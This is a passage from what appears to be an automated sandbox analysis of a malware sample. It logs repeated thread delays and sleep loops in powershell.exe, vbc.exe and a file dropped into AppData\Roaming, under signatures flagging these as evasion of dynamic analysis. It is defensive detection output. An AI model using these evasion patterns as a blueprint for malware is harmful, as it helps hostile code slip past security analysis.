Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599312
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599196
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599089
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598969
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595229
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 593985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 593860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 593735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 593610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 593485
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 8056 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1580 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6797 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2793 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Window / User API: threadDelayed 3031 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Window / User API: threadDelayed 6787 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Window / User API: threadDelayed 7818
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Window / User API: threadDelayed 2001
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe TID: 7612 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7904 Thread sleep count: 8056 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8100 Thread sleep time: -17524406870024063s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7904 Thread sleep count: 1580 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8128 Thread sleep time: -11990383647911201s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep count: 40 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -36893488147419080s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7252 Thread sleep count: 3031 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -599860s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -599735s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -599610s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7252 Thread sleep count: 6787 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -599485s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -599360s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -599235s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -599110s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -598985s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -598860s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -598733s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -598625s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -598510s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -598406s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -598297s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -598183s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -598078s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -597969s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -597860s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -597735s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -597610s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -597485s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -597360s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -597235s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -597110s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -596985s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -596860s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -596735s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -596610s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -596484s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -596375s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -596266s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -596154s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -596047s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -595938s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -595813s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -595688s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -595563s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -595450s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -595344s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -595219s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -595109s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -595000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -594891s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -594781s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -594672s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -594562s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -594451s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -594344s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7292 Thread sleep time: -594219s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe TID: 6920 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -26747778906878833s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -600000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -599875s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 1376 Thread sleep count: 7818 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -599766s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep count: 31 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -599641s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 1376 Thread sleep count: 2001 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -599531s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -599421s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -599312s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -599196s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -599089s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -598969s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -598860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -598735s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -598610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -598485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -598360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -598238s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -598110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -597985s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -597860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -597735s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -597610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -597485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -597360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -597235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -597110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -596985s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -596860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -596735s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -596610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -596485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -596360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -596235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -596110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -595985s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -595860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -595735s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -595610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -595485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -595360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -595229s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -595108s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -594610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -594485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -594360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -594235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -594110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -593985s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -593860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -593735s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -593610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 7360 Thread sleep time: -593485s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599860 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599735 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599610 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599485 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599360 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599235 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599110 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598985 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598860 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598733 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598625 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598510 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598406 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598297 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598183 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598078 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597969 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597860 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597735 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597610 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597485 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597360 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597235 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597110 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596985 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596860 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596735 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596610 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596484 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596375 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596266 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596154 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 596047 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595938 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595813 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595688 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595563 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595450 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595344 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595219 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595109 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 595000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594891 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594781 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594672 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594562 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594451 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594344 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 594219 Jump to behavior
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599766
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599421
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599312
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599196
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 599089
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598969
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 598110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Thread delayed: delay time: 597860
